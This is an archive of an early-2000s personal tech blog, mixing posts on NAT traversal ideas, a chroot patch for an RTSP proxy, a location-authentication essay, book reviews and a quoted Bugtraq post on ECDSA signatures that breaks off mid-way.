  perp
  ⊥
  
  
  phi
  φ
  pi
  π
  piv
  ϖ
  plusmn
  ±
  pound
  £
  prime
  ′
  prod
  ∏
  prop
  ∝
  
  
  psi
  ψ
  quot
  "
  rArr
  ⇒
  radic
  √
  rang
  ⟩
  raquo
  »
  rarr
  →
  rceil
  ⌉
  
  
  rdquo
  ”
  real
  ℜ
  reg
  ®
  rfloor
  ⌋
  rho
  ρ
  rlm
  ‏
  rsaquo
  ›
  rsquo
  ’
  
  
  sbquo
  ‚
  scaron
  š
  sdot
  ⋅
  sect
  §
  shy
  ­
  sigma
  σ
  sigmaf
  ς
  sim
  ∼
  
  
  spades
  ♠
  sub
  ⊂
  sube
  ⊆
  sum
  ∑
  sup
  ⊃
  sup1
  ¹
  sup2
  ²
  sup3
  ³
  
  
  supe
  ⊇
  szlig
  ß
  tau
  τ
  there4
  ∴
  theta
  θ
  thetasym
  ϑ
  thinsp
   
  thorn
  þ
  
  
  tilde
  ˜
  times
  ×
  trade
  ™
  uArr
  ⇑
  uacute
  ú
  uarr
  ↑
  ucirc
  û
  ugrave
  ù
  
  
  uml
  ¨
  upsih
  ϒ
  upsilon
  υ
  uuml
  ü
  weierp
  ℘
  xi
  ξ
  yacute
  ý
  yen
  ¥
  
  
  yuml
  ÿ
  zeta
  ζ
  zwj
  ‍
  zwnj
  ‌
  
  
  
    
    
  TCPA BIOSes
    
  
  IPv6 Meeting in London
  Elite: Frontier binary for Linux. Doesn't work here, I think my glibc is too recent/broken for it. Maybe you will have better luck.
  STAND on anti-ID cards. If the govt can't state their argument more briefly than this they deserve to loose this debate by default.
  
  
  
  
  So, AMI has released the first TCPA enabled BIOS. At first I was quite pleased at it occurred to me that it might be able to secure boot GRUB. Of course, it has all the nasty TCPA stuff too, but I'm not going to use that. If it has a write-enable jumper on the motherboard that I can bridge to write an SHA1 checksum, I would be quite happy. However, having read some of the (dry and frankly confusing) specs it doesn't even seem able to do that. So it really is utter worthless crap.
  
  (Technical note: I know the BIOS only loads a bootsector into memory and checksumming that wouldn't be enough to secure it, but the boot process could be modified so that the BIOS loads the whole lot. Given what changes the TCPA are trying to inflict they wouldn't even blink at that.)
    
    
  RTSP
    
  RTSP is the protocol used by RealPlayer to stream its stuff. Now RealPlayer is pretty evil, but RTSP looks slightly open. At least Real provides a proxy server for it.
  
  We'll see how it works tomorrow, but for the moment the essential agl patch; chroot and setuidgid.
  
  --- rtspproxy.cpp	Fri Feb  9 23:38:53 2001
  +++ rtspproxy.cpp	Thu Jan  9 17:10:32 2003
  @@ -12,6 +12,9 @@
   #include <string.h>
   #include <signal.h>
   #include <stdarg.h>
  +#include <sys/types.h>
  +#include <unistd.h>
  +#include <grp.h>
   
   #include "app.h"
   #include "rtspproxy.h"
  @@ -1277,6 +1280,8 @@
       printf( "    -v              Print version information.\n");
       printf( "    -h              Display this help message.\n");
       printf( "    -d              Enable useful debug messages.\n");
  +    printf( "    -u <uid> <gid>  Set UID and GID.\n");
  +    printf( "    -c <path>       Chroot to path.\n");
   }
   
   int main( int argc, char** argv )
  @@ -1328,6 +1333,31 @@
           {
               g_DebugFlagTurnedOn = true;
           }
  +	else if ( strcasecmp (argv[i], "-c" ) == 0 ) {
  +		if (i + 1 >= argc) { Usage (argv[0]); exit(1); }
  +		i++;
  +		if (chroot (argv[i]) == -1) { perror ("Failed to chroot"); exit(1); }
  +		if (chdir ("/") == -1) { perror ("Failed to chdir after chroot"); exit (1); }
  +	}
  +	else if ( strcasecmp (argv[i], "-u" ) == 0 ) {
  +		if (i + 1 >= argc) { Usage (argv[0]); exit(1); }
  +		i++;
  +		INT16 uid = atoi ( argv[i] );
  +		if (uid == 0) { printf ("Bad uid\n"); exit (1); }
  +		if (i + 1 >= argc) { Usage (argv[0]); exit(1); }
  +		i++;
  +		gid_t gid = atoi ( argv[i] );
  +		if (gid == 0) { printf ("Bad uid\n"); exit (1); }
  +		
  +		if (setgroups (1, &gid) == -1) {
  +			perror ("failed to set groups");
  +			exit (1);
  +		}
  +		if (setuid (uid) == -1) {
  +			perror ("failed to set uid");
  +			exit (1);
  +		}
  +	}
       }
   
       app.Run();
  
  
    
    
  Jon Lech Johansen has bee...
    
  
  Jon Lech Johansen has been acquitted of all charges - Woohoo!!
  Jesus 'healed using cannabis'
  Now Corporations Claim The "Right To Lie". Really good, read this.
  geoURL tags [via Keith]
  
  
    
    
  It seems that some people...
    
  It seems that some people (well, at least one) think that I have a Avi (from Cryptonomicon) style obsession with WW2. I guess that comes from the picture and quote above. So just to prove that I don't really, and there's nothing WW2 about IV's other content, try it in:
  
  Goth
  Pink
  Orange
  
  
  Maybe I should do a few more and have it rotate each day 
  
    
    
  Today has ben an utterly ...
    
  Today has ben an utterly fucking shit day; worst day I've had in over a year. So, if you'll excuse me I just need to..
  
  AAAAAAAAAAAAAAAAAAAGGGGGGGGGGHHHHHHHHHH!!!!!!!!!!!!!!!!
  
  Right. Here's hoping tomorrow is better.
  
  The management apologise for that brief interruption.
    
    
  The deptment has a list o...
    
  The deptment has a list of projects that people want doing. Sometimes they are specific and sometimes more in the form of "I wonder...". Here's the text of an I wonder project that I did in a loose hour today. Might be interresting for some people.
  
  Detection of User Location 
  -------------------------- 
  Adam Langley, agl@imperialviolet.org
  
  Problem:
  
  "How can we reliably identify whether users are physically located in
  any particular region when they access our systems across the LAN/WAN
  (so that we can control what data access that have given different
  secrecy constraints)."[0]
  
  Since the system is to be accessed across a network the only proof of
  location we can offer is information. Since the server's view of the
  world is limited to the data that passes through its network card it
  must trust another device to tell it the location of a user requesting
  some service.
  
  Having the server trust some special code is trivially vulnerable to a
  replay attack. Thus, in order for the server to know the location of a
  user, a challenge-response protocol must be used, and the challenges
  must timeout.
  
  The obvious answer to the problem of a trusted device to handle location
  is a system based around a GPS receiver that the user possesses. The
  problems with this are threefold:
  
  Firstly, in order for the server to trust the device it must be
  tamper-resistant. The level of tamper-resistance required varies with
  the security needs of the server, but if a location based security
  policy is even being considered then it's reasonable to expect that the
  server has some pretty impressive security needs and, correspondingly,
  that the device needs to be highly temper-resistant.
  
  Unfortunately, strong tamper-resistance is a difficult problem.
  Companies such as Cambridge Aero Instruments[1] manufacture
  tamper-resistant GPS systems for applications such as gliding
  competitions (so that the contestants can prove that they reached the
  checkpoints). However, such a GPS system would have to be integrated
  into a package that also contains enough processing power to perform
  public-key cryptography (such as an IBM 4758). This is likely to be
  prohibitively expensive.
  
  Secondly, the GPS system[2] has no authentication built in. Even if the
  device were perfectly tamperproof there would be nothing preventing an
  attacker putting it in a Faraday cage and faking the GPS signals.
  
  Thirdly, GPS jamming is reasonably simple[3]. A DoS attack could be
  launched against a secure installation (where these devices are used) by
  jamming GPS signals.
  
  These aforementioned problems with GPS suggests that a trusted device
  know its location be other means, such as its immobility. Assuming that
  areas that are considered secure locations (by this system) are
  physically controlled then it would be reasonable to use much less
  tamper-resistance as the equipment and time available to an attacker
  would be limited[4]. Thus the reduced tamper-resistance required makes
  the cost viable. The method of keeping it in place remains to be decided
  
  The interface of such a device deserves some consideration. A user must
  present a server generated challenge and pass the reply back to the
  server within the time limit. Since a strong connection to physical
  location must be preserved, a physical interface is appropriate; a
  keyboard for input and a till printer for output. The output could be a
  monitor, but since the replies are going to be quite complex (say, 160
  bits base64 encoded) then the users are going to write them down anyway
  so a till printer will save them the time and effort. Postit notes and a
  pen should be provided by the terminals for the same reason.
  
  The challenges are not sensitive and the replies are only valid for a
  short time (to be determined) and only on a single terminal. (It goes
  without saying that man-in-the-middle attacks against the terminals must
  be prevented by the cryptographic protocol). Also, it must be considered
  that this location authentication is a hassel for the user and (with the
  security requirements in mind) the number of authentications in a given
  time should be less than for other schemes (such as passwords).
  
  Conclusions
  -----------
  
  A location authentication system is certainly possible given a number of
  assumptions:
  	* that locations considered secure by the system are physically
  	  secure against people bring in certain equipment (such as
  	  X-ray machines[4] and shaped charges[5]) and spending long
  	  amounts of time physically attacking the trusted location box
  	* that the terminals are trusted not to leak the information
  	  once accessed, or to allow a man-in-the-middle attack And at
  	  certain costs:
  	* Inconvenience for the user User training A trusted location
  	* box per location
  Much remains unconsidered:
  	* The details of cryptographic chal-rep protocol The design and
  	* cost of the trusted location box The method of keeping the
  	* trusted location box in place The human factors, such as the
  	* presentation of the data and
  	  the length of the timeout
  
  [0] http://www.doc.ic.ac.uk/%7Esjn5/docpp/cgi-bin/
      display_project.cgi?project=709
  [1] http://www.cambridge-aero.com/
  [2] http://www.phrack.com/phrack/55/P55-14
  [3] http://www.phrack.org/phrack/60/p60-0x0d.txt
  [4] Security Engineering, Ross Anderson, Chapter 14
  [5]                                      Chapter 11, Section 5
  
  
    
    
  newdocms
    
  Opps. Looks like I missed actually uploading the tarball for bttrackd. I wonder how long that's been broken - months I guess.
  
  
  
  This came up on slashdot today. It's an attempt to replace standard filesystems with a string-string metadata based system and categorisation. The metadata is pretty standard and the categorisation is hierarchical. Read the page, it's pretty neat and, above all, it's real code.
  
  Now, this kind of thing is one of my pet subjects so I have a couple of criticisms. Firstly, string-string metadata looses some useful functionality of string-object systems. If the author of a document is "John Smith" then I cannot simply ask for the author's email address because the string "John Smith" is only loosely coupled to the object (if it exists) that describes that person. 
  
  Also, this system doesn't try to extend this system very far. He see it as a way of filing documents (which is all well and good), but this is far short of what vaporware like IronDoc and landscape try to do. Then again, worse is sometimes better and he has code behind him.
  
    
    
  A couple of recent patche...
    
  A couple of recent patches:
  
  xchat-1.9.8-treeview.diff - adds treeview support to Xchat 1.9.x. Not really fully tested but it seems to work. God knows what the GTK developers were on when they designed their new tree widget thou.
  wget-patch - stops wget from stripping // froms URLs. This is needed for Freenet.
  
  
    
    
  First blog of the new yea...
    
  First blog of the new year! (of course, being in the UK, I get a 5-8 hour advantage over most people).
    
    
  Fallen Dragon
    
  Book reviews today...
  
  
  
  (Peter F. Hamilton, 0-330-48006-5)
  
  I've always really enjoyed Hamilton's books; every single one of them. Night's Dawn is an incredible epic and I highly recommend it if you're ever suck on a dessert island for a few weeks.
  
  Fallen Dragon is set in a different universe to his other books, thou there are many similar ideas (like genetic enhancement and neural interfaces). I've never felt that Hamilton wrote very deep sci-fi like Baxter or Egan, but he tells a fantastic story.
  
  This particular fantastic story is totally centered about one person and it's told from two different points in time at once. Each chapter alternates between this guy's childhood and a point much further on in his life. As you read about the earlier experiences, the later ones start to make more sense and by the end of the book the early thread is upto where the later one started.
  
  The ending I won't talk much about because it will spoil the book. It's a good ending (which is foreshadowed, but I didn't make the connection till afterwards), but I can't help but feel it raises more questions than it answers.
  
  Anyway; if you see it, consider buying; you'll enjoy it
  
  Prey
  
  (Michael Crichton, 0066214122)
  
  Well, it's another Crichton. Never deep, but a couple of neat ideas. If you have read Timeline then you know the style. I get the feeling it was written with a film in mind. It's not long (I finished it in a night), nor taxing. I wouldn't buy it, but don't run screaming if it drops on your doorstep either.
  
  Altas Shrugged
  
  (Ayn Rand, 0-451-19114-5)
  
  Zooko persuaded me to read this huge book, and I'm quite glad that I did (thanks Zooko). It really is long (and I must admit that I skipped most of the Galt monologue) but it's quite enjoyable.
  
  It doesn't change my view of the issues she covers one little bit thou. It's pretty much the minarchist capitalist manifesto, which is nice because I quite like minarchist capitalism. Rand is a little more minarchist than I am, but that's ok.
  
  Interestingly enough she doesn't cover environmental issues at all (despite dealing with railroads and steel mills) which is a shame because that's one of the main arguments people beat anarchists/extra-minarchists with. But then, being American, the thought might never have had occurred to her.
  
  In the end, I don't really like arguing about exactly what form of government would be best in a world where they are rapidly going in totally the wrong direction. It just seems a little pointless.
  
  It's a decent book; maybe a little too long. One might want to try The Moon is a Harsh Mistress for something smaller.
    
    
  15 Idiots Rule the World
    
  A new article from Paul Graham predicting the end of spam. Nice to hear after the year of doom mongers predicting the end of email because of spam and, in terms of who I'd side with in an argument, Paul Graham rates just a little higher.
  
    
    
  Back in London. I was onl...
    
  Back in London. I was only loafing about at home, so I might as well loaf about someplace with a better connection. I'm sure the monkey running the ticket till over charged me (23.50 for a single to London) but the pricing structure for the railways is so damm complex you can't tell. Also, the train didn't even advertise that it was stopping where I wanted it to. I just got on and hoped that that Railtrack wasn't fibbing to me (they weren't, but it's still crappy).
  
  I've just rsync'ed Gentoo - crap there's a lot of new stuff. I wish Gentoo had a way of only upgrading stuff which has jumped in upstream release number.
  
  Over the Xmas break I've had a cluster of P4's in the Imperial labs generating keys for coderman who (I guess) wants them to test this idea. By the last count he had 150000 keys and was winding up, so I'm giving the lab computers a break now. A couple of things that I'll probably end up looking up later:
  
  Don't bother reading the screen manpage for how to start a detached session - it doesn't work right. Instead do: screen /bin/sh -c "screen -d ; cmd ; cmd ; cmd"
  Padding a number with zeros in a shell script: `printf "%02d\n" $x` (that pads to length 2)
  
  
    
    
  Britain leads the world again
    
  coderman:
  if I laugh in a nihilistic euphoria any harder I am going to burst a spleen
  
  a spleen? You have a backup?
  
  
  
  So, the US wants to monitor all it's net traffic? (NYT link: user/passwd = strsnyt). Well, the UK has had that for years, but here the "early warning centre" is called the GTAC (Govt Technical Advisory Centre, or something). And the US pretends that it leads the world in technical matters...
  
    
    
  After reading Aaron's Cre...
    
  After reading Aaron's Creative Commons launch talk I emailed him to ask exactly when some cool semantic webby stuff was going to happen. (I've ranted about this before). Well, quoting private emails is a little rude but he didn't seem to hold much hope of it happening anytime soon, which is a great shame. Unfortunately, I can't see any good way of solving this. Specs for a Person class, a Blog class and all manner of stuff could be constructed, but I don't know how we would persude anyone to use it:
  "Hey! Markup all the stuff on your website using our cool RDF!
  "Why?"
  "'Cos it's cool, look!" (point at some of the SemWeb vision stuff)
  "Hmm, that's neat. But what will it do now?"
  "Not a lot, I guess. But think how cool it will be in the future!"
  "So ask me again in the future, when it's cool"
  And so we're stuck. So does anyone have a SemWeb killer app to bootstrap everything?
  
    
    
  Mobile Phones
    
  Mixminion 0.0.1 has been released, and the first Mixminion anonymous message was posted to the mailing list. Congrats to the whole team.
  
  Also, the new edition of Unix Power Tools (O'Reilly) is out. I was a technical reviewer on this and it's everything you would expect from O'Reilly (even if UPT would be preaching to the converted for most of IV's readership). There is one chapter about which they seem to have ignored my comments. But then my comments were something along the lines of "This is rubbish, put this in instead ..." followed by the whole chapter rewritten. I'll let you see if you can guess which chapter.
  
  
  
  The whole concept of phoning someone is a little broken. I want to be able to attach a priority to calls. If I need something now - it's a high priority call, if I just want to chat - it's low priority, and it's a persistent thing. When I get in from doing something (a high priority only state) I can drop to a low priority state and take all the low priority calls (so long as the people calling me are still in a low priority state). I'm sure you get the idea.
  
    
    
  (I'm at home, in Chelt, f...
    
  (I'm at home, in Chelt, for christmas)
  
  I had hoped to have IV hosted (web and email at least) on Imperial servers by now. Unfortunately, one of the Dept of Computing webservers was rooted on Thursday which ment that people were a little too busy to get round to it. I'm going to see metis (the current server) tomorrow with a new power supply anyway.
  
  And in answer to coderman's question: see this, this and this for an example of what crewing an event means. We started rigging that at 9am, people came in at 8pm, left at 2am (the following day) and we had cleared up by 4:30am (after which we went to the bar). This was taken about 5 in the morning (I'm the one on the far left).
  
    
    
  Freenet server problems
    
  It's been a Bad Server Weekend (tm).
  
  Firstly, hawk's outgoing SMTP relay started refusing to relay because hawk got listed as a dialup IP and the relay has spam blacklisting. (hawk is Freenet's server for stuff like mailing lists). Now, I'm not going to rant about spam blacklisting here because I'm not going to change anyone's mind about it. I can only suggest you look at alternatives like SpamAssassin and the new breed of Bayesian filters.
  
  Anyway, as a bodge I just set hawk to send email directly which worked for some people until Ian found another relay. However, since some of the lists which were blacklisting hawk gave contact details I tried emailing them:
  
  It's our understanding that all of 4.46.0.0 - 4.46.119.255
  is dynamic IP Verizon DSL.  As dynamic IP space, it's appropriate for it to be
  in our list.
  
  BTW...the addition of this space was prompted by abuse of this IP space by a
  professional spammer that has been spamming from a Verizon DSL account with
  dynamic IPs moving around this range for the past few months.
  
  
  I emailed back and the guy basically refused. But from a difference
  blacklist admin...
  
  Fixed in the next update. Thanks.
  
  So they aren't all bad.
  
  When it rains, it pours
  
  And once hawk was running again ... metis (this server) promptly died. I still don't know what happened as I haven't phoned since it came back online. It wasn't a power cut (the UPS didn't kick in if it was) and I hope it wasn't another rat pissing in the power supply. Anyway, it's running again but I really am going to move it to IC soon.
  
  And I was this close to 100 days uptime. (it was about 98 days when it died).
  
  Good Software
  
  Mozilla 1.2 really works well. It doesn't crash. It's pretty fast. Copy and paste has started working again after 1.0. Nice.
  
  Also, Straw is a good GTK feedreader. I'm using it for the moment.
  
  Mark Thomas
  
  Last night I went to see Mark Thomas at the SoHo theatre last night. For those who don't know of him (most of you) he's sort of a stand up comedian with a strong political bent. Basically, he makes you laugh talking about stuff like campaigning against the War on Iraq. If you ever get the chance to see him I strongly suggest you jump at it like a rabid ferret.
  
  As a side note, he's in court today trying to get an order to prevent the government going to war with Iraq without a new UN resolution. I donated to the legal fees and here's hoping he wins.
  
    
    
  Java CNI
    
  A quick lesson in the wonders of how Java and GCC work together.
  
  For quite a while now, the GCJ project has been adding Java support to GCC. It isn't perfect and building your big, using every API Java app with it could be a real pain. But it is getting better. Anyway, this is about working together.
  
  Java has always had JNI for interfacing with other languages (generally C/C++). It works, but it's not exactly clean. GCJ, however, has the CNI which works much more nicely. A small example:
  
  Make up a Java class and have some methods marked as public:
  
  class CNITest {
  	public static native int native_call (String a);
  
  	public static void main (String[] args) {
  		native_call ("testing");
  	}
  }
  
  Build a class file and generate the header from it
  
  gcj -C CNITest.java
  gcjh CNITest
  
  Write the native methods in whatever language you like (given that GCC and compile and link it with Java). In this case C++:
  
  #include "CNITest.h
  
  jint CNITest::native_call (jint a)
  {
          return a + 1;
  }
  
  Now build it all:
  
  gcj --main=CNITest -o cni CNITest.java cni.cpp
  
  and it all works. Woo!
  
    
    
  Stallman Speaking
    
  Went to listen to Stallman speaking on software patents at LSE today. He managed to panic the organiser when he didn't show, but after about 20 minutes someone said he had been spotted outside the tube station. Quite how he had been `spotted' I'm not sure, but he turned up 5 minutes later and things got underway.
  
  The venue was quite small and there were about 50 people there. For some reason the room (The Hong Kong theater) reminded me of Korea in the way that it looked like someone gave the architect a picture of an old church room and said "build it like this", but the architect didn't quite get it right.
  
  Anyway, a lot of people critise RMS for, basically, loosing his rag when he speaks but I guess he must have this speech pretty well practiced. In fact, maybe if he had lost his rag, I wouldn't have fallen asleep during it . It's not that it was boring, I was just pretty tired and it's almost instinctive when sitting in a lecture now.
  
  There's little point in repeating what RMS said as I would just be preaching to the converted. See this if you don't know it all already and RMS really is Quite A Nice Guy in person.
  
  Summer Jobs
  
  Ok, it's a little early but I'm looking about for summer jobs anyway. I have an interview tomorrow for a job doing door-to-door book selling in Nashville (weird, but what the hell). I'd quite like to work for O'Reilly in Boston, but they aren't really in a place to start employing people at the moment. So, if you want to offer me a job, you know where the email address is .
  
    
    
  /dev isn't enough
    
  
  	
  Calif. trial nears for landmark copyright case
  	
  Kissinger runs 11/9 probe
  
  
  
  
  Rumors are abound that Longhorn will have a new database file system. Of course, since it's Windows, nobody really cares because M$ have been talking about this since before 95 came out and we are still waiting. In fact, Ted Nelson[1][2] was talking about the same kind of ideas long before most of the people reading this were born.
  
  Ted Nelson's ideas about this were known as Xanadu and Zigzag (a specific implementation). Basically all data was contained in cells and cells could be linked along axis. The GZZ project (formally known as GZigZag) has a good document about these ideas.
  
  But, at it's simplest level it's about linking and it's about exposing. Now the classic system for this is the UNIX device system which exposes hard drives and other IO stuff pretty well. However, UNIX devices aren't exactly perfect. See this document about Plan9 for an example of the device model taken to a more useful level.
  
  But even in Plan9, data is still locked away in odd file formats and that means a lack of linkability and exposure.
  
  Take my mailbox, there's a huge amount of data in there locked away. I can't get a list of all the mail sent to me by a single person without a lot of work (see interwingle). Now you are free to say that it's a facet of how I store my mail (mbox format). But when I want to follow a link from an email, to it's sender, to his/her phone number (in another database) it ceases to be a problem limited to my MUA. If certain things were exposed better I should be able to to that, and follow links to anything else related I have about a person. This has harmonies with Semantic Web ideas, but this is about a human web of information - not a machine understandable one.
  
  Hans Reiser articulates similar ideas (possibly better than I do) in his whitepaper. Now, Hans sets down a lot more detail than I'm doing here, and I don't necessarily agree with all the detail (which you can skip anyway).
  
  Now, I've talked about this before and there is a strong link between the language parts of that rant and the ideas here, but I'm not going to go into that now.
  
  more to follow...
    
    
  Blogdex Spamming
    
  It seems that along with Referer spamming, SMB spamming, and all the old fashioned manifestations of this vile practice, we now have blogdex spamming. It looks like it's something akin to google bombing.
  
  The blogdex front page currently contains many entries like PremiumDomains - www.pornovideo.bz - DOMAINS FOR SALE and so on. Looking at the track page it seems that 8 sites in the ubiquitous.nu domain have been registered with blogdex and are successfully bombing it. Raph is going to have a field day 
  
    
    
  	A younger Ashcroft on go...
    
  
  	
  A younger Ashcroft on government spying. This had been doing the blog rounds recently, it's still pretty wonderful.
  	
  Andrew McCrae shoots a policeman at a petrol station at night and then posts a confession/rant on indymedia about it. He was pretty quickly arrested. Also see TheReg article.
  	
  US Patent on "Indexing system using one-way hash for document service".
  
  
  Zooko wrote me a email about the merits and demerits of Altas Shrugged and I decided to try and read it. I can't help but wonder if the loan length is ment to tell me something. A different book I got out today has to be back by 5/12, but Atlas Shrugged is due back 29/4/03 
    
    
  New Python Objects
    
  
  	
  Python persistence management
  	
  Linux Advanced Routing & Traffic Control HOWTO (see this for setting up IPSEC on 2.5 kernels)
  	
  Impressions of the International Lisp Conference
  	
  Reed's submission to the FCC on open spectrum [via Aaron]
  
  
  There's a copy of Atlas Shrugged in the library, but I'm afraid of starting a book that huge given the amount of time it might suck up. Anyone read it and wish to commend/curse it?
  
  
  
  There was a pretty interesting discussion on comp.lang.python recently. Take the following code:
  class C:
      def __getattr__ (self, x):
      	self.val = 1
  	return getattr (self.val, x) 
  Now calling x = C(); x + 5; returns 6 as expected. Now make C a new style Python class (by deriving it from object) and you get:
  Traceback (most recent call last):
    File "", line 1, in ?
  TypeError: unsupported operand types for +: 'C' and 'int' 
  Alex Martelli explained things thus:
  Yes it can.  The idea is that operators should rely on
  special methods defined by the TYPE (class) of the object they're working on,
  NOT on special methods defined just by the OBJECT itself and not by its class.
  Doing otherwise (as old-style classes did, and still do for compatibility) is
  untenable in the general case, for example whenever you consider a class and
  its metaclass (given that the metaclass IS the class object's type, no more
  and no less).
  
  So, for example,  a + b  now looks for a potential __add__
  special method, NOT in a itself, but rather in type(a)  [except, for
  compatibility, when a instances an old-style class].  I had some difficulty
  understanding that, early on in the lifecycle of Python 2.2, but when the
  notion "clicked" I saw it made a lot of sense.
  
  So, to wrap an arbitrary object X in such a way that X's
  special methods will be used by any operator, you need to ensure you do the
  wrapping with a _class_ that exposes said special methods.  That's generally
  easiest to do with a factory function with a nested class that uses
  inheritance, but you have many other choices depending on what exactly you're
  trying to accomplish.
  
    
    
  Hmm, just a links posting...
    
  Hmm, just a links posting today.
  
  
  	
  Vim Book
  	
  Text of Bin Laden's (claimed) letter. He actually makes some valid critisms of the US. Shame about all the hypocrisy.
  	
  Clone of the Attack
  	
  Court Overturns Limits on Wiretaps to Combat Terror
  
  
  	
    
    
  Leaky Abstractions
    
  
  	
  The Missing Chapter from The Art of Deception
  	
  Total tracking of sex offenders in the UK
  	
  CIL - Parsing C
  	
  Good HTML and CSS references
  
  
  The UCL and Imperial merger is off, thank god!
  
  
  
  Everyone seems to be commenting on leaky abstractions, in which Joel berates non-perfect abstractions. Well, enough people have taken him to task for that but no one seems to point out that perfect abstractions can be a total nightmare in certain situations.
  
  Now, I'm sure we all know the advantages of abstractions, but in some cases you aren't writing portable applications and the abstractions only serve to frustrate you.
  
  Take TCP. There is no way to find out which data has been acked by the other side, the seq/ack numbers etc from any sockets implementation that I've ever seen. When you're writing freaky NAT stuff that information can be needed. See the exokernels papers for designs which take the idea of pierceable abstractions to the (safe) limit.
  
  The Perfect Prawn Cocktail Sandwich
  
  I consider myself quite the expert on prawn cocktail sandwiches. I've had them from all round the country, from several other countries, and even fresh in a fishing village. But living just down the road from Harrods I thought I might as well give them a shot. Quite frankly, I don't think I'll ever be able to stomached a non-Harrods prawn cocktail sandwich ever again!
  
    
    
  UK DMCA Reply
    
  Got a three page reply from my MP today containing a couple of letters from the Dept of Trade and Industry about the EUCD:
  
  
  	
  Page 1: Cover letter
  	
  DTI Reply 1
  	
  DTI Reply 2
  
  
  Basically, the DTI replies are avoiding the question and generally seem to indicate a lack of understanding:
  The EU Copyright Directive does not require us to make any changes that will affect the ownership of intellectual property.
  
    
    
  Laws of Form
    
  
  Wired News: A Setback for Online Privacy
  Full text of Steal This Book
  Survey of Object Oriented Programming Languages
  
  
  
  
  (Laws of Form, G. Spencer Brown, ISBN: 0 04 510028 4)
  
  I got Laws of Form from the library after it was mentioned in this K5 article on alternative logic systems. (it is also mentioned in The Ghost Not).
  
  It's a neat little book, if a little dry. I highly recommend reading the notes at the same time as reading the chapters in order to make sense of anything. I must admit that, at the end of it, I'm a little disappointed. The ideas contained are neat, but I cannot help feeling that a different author could have made a better job of the book. In fact, I'm very glad I had read the two links above before the book as they explain things a lot more clearly. Also, some of the more interesting parts (such as the link to predicate logic is given but a short section in the notes).
  
  G\"odel's Proof
  
  (G\"odel's Proof, Ernest Nagel and James R. Newman, ISBN: not given)
  
  (I'm sure there's a &something; to get the accent right above the o. But I don't know what it is so just imagine that your brain preparses TeX...)
  
  Chaitin described G\"odel's 1931 paper as "very difficult to understand" and recommended this book instead. I wholeheartedly agree. I got this book from the library at 11am today and had finished it by 5pm, even with 4 hours of lectures and lunch and a geometry sheet in there too. A very gentle introduction to G\odel's proof which deals with about as much detail as you would wish and no more. If you've translated the original paper from the German into Lojban etc, then you aren't going to get much from this I'll admit, for everyone else this is a must.
  
  Aaron
  
  Aaron now has (IMHO) the prettyist blog. There is also a wonderful entry on trusted computing (best viewed in Mozilla).
  
  
    
    
  More NAT
    
  
  Alternative Logic
  Pubkey Signatures based on secure hashes. Something I should try to understand.
  Axioms of ZF
  
  
  
  
  I now have a working way of getting data back thru NATs: ICMP. Echo Requests open a tunnel back through the NAT so, with a server assisting, NATed hosts can setup bidirectional links. Unfortunately, the NAT mangles the ID number which the other host needs in order to send replies.
  
  It so happens that the NAT at Imperial doesn't actually check the source address of the reply is correct, only the ID, so it would be easy to find the ID. But I cannot believe this is generally true so the only way to get the ID would be to use the fact that the NAT assigns IDs incrementally and try to hit the correct ID. Eww!
  
    
    
  About 3 hours work this afternoon....
    
  
  Full text of the DC snipers letter
  Interview with Bram Moolenaar of VIM fame on his new project A-A-P
  
  
  
  
  ... I've so far learnt that NETLINK and QUEUE targets clash if they're both loaded into the kernel and NETLINK then appears to work, except that no actual packets turn up! AGGGH!
  
    
    
  That Poster
    
  I found a picture of that poster that I mentioned before on this page. Just remember, this hasn't been touched up or anything and there really are posters exactly like this all over London:
  
  
  
    
    
  Communication Over Double NAT
    
  The DTCP design would work (I think) if only there wasn't also a firewall at Imperial which stops incoming UDP packets (even if a NAT would let then in).  The only other solution would be to tunnel everything in DNS packets (which do seem to work) or to find another place to develop from.
  
  (P.S. they need to be real DNS packets - just using the port numbers isn't enough).
  
  So, here's the next idea - Assisted TCP. The idea being to have a userland program linked to libnet and libpcap at each end (A and B) and a 3rd party (C) unfirewalled. The ends can talk both ways to C via TCP and can fabricate packets to the NAT and the local kernel. C can fabricate packets with the source address of A and B to the other side of the NATs.
  
  Skipping the details, A & B both send SYN packets to each other (both die at the oppsite NAT) then C fabricates SYN+ACK packets from A and B to make the NATs think it's a normal outgoing connection.
  
  That leaves out how to make the local kernel think it's a normal connection too, but I think it can be done without patching it directly.
  
  Ingress and Egress filters might stop C from sending the SYN+ACK packets and it's more messy than doing it via UDP, but it should work. (I've already checked that A can't send a SYN+ACK thru the NAT).
  
  I would hope, in the end, to probe each technique to pick the best that works, in the mean time it's a question of comming up with a decent toolkit.
  
    
    
  Introduction
    
  Just posted on BUGTRAQ (not by me):
  
  
  
  Contemporary world is practically impossible without systems of electronic digital signature (EDS). 
  Every Internet user imperceptibly for himself uses them. It is these methods which ensure 
  functionality and efficiency of contemporary banking sector. Despite this fact the EDS standards 
  themselves are very young and are at the stage of perfection. One of the most perspective 
  standards is ANSI X.9-62 ECDSA of 1999 - DSA for elliptic curves. In the process of adaptation all 
  peculiarities of the operations with the elliptic curves were not taken into account to full extent 
  and it gave an opportunity to imitate substitution of the signed document.
  One of the main requirements to the methods of digital signature is the impossibility to find within 
  reasonable period of time two or more documents corresponding one signature (or vice versa). In 
  addition to the EDS mechanism the procedure of hashing is used (in DSA it is SHA-1) which results 
  in assigning to each document very large and unpredictable number (hereinafter referred to as 
  hash) which is signed.
  The majority of the attacks is aimed at this procedure in order to find method of receiving 
  documents with identical hashes (or hashes which differ at given value).
  This work uses slightly different approach: there is made an attempt by modification of the keys 
  chosen by the user to find such meanings of the signature so that they match two previously 
  determined hash values. It was determined that it can be done by ordinary user of EDS scheme, if 
  he specially chooses value for his keys: private key and per- message secret. In this case the user 
  does not need to modify domain parameters of EDS. For the purpose of clearness below is given an 
  illustration of the substitution of signature for approved NIST sets of parameter of federal use.
  
  I suppose that there is no need to comment legal consequences of the existence of common 
  signature for two documents. 
  
  Description of the mistake
  
  Mathematical apparatus of the latest American standard of electronic digital signature know as 
  ECDSA (DSA for elliptic curves) [1 page 25-30] contains grave mistake which makes it possible to 
  choose value of secrete code in order to get identical signatures for various documents. The 
  described mistake differs from the already known, having similar consequences DSKS (Duplicate 
  Signature Key Selection) [1, page 30-32] as it does not require participation of the criminal in 
  selection of signature parameters (G,n etc). Thus it is available for almost any EDS user and not 
  only to EDS software engineers. 
  
  The description retains symbols adopted in the standard.
  
  The mistake is caused by the equality of x-coordinates of the opposite points of the elliptic curve
  _x(G)= =_x(-G). (1)
  
  It is easy to see that from nG=0 follows that (n-1)G=-G (2)
  
  Thus
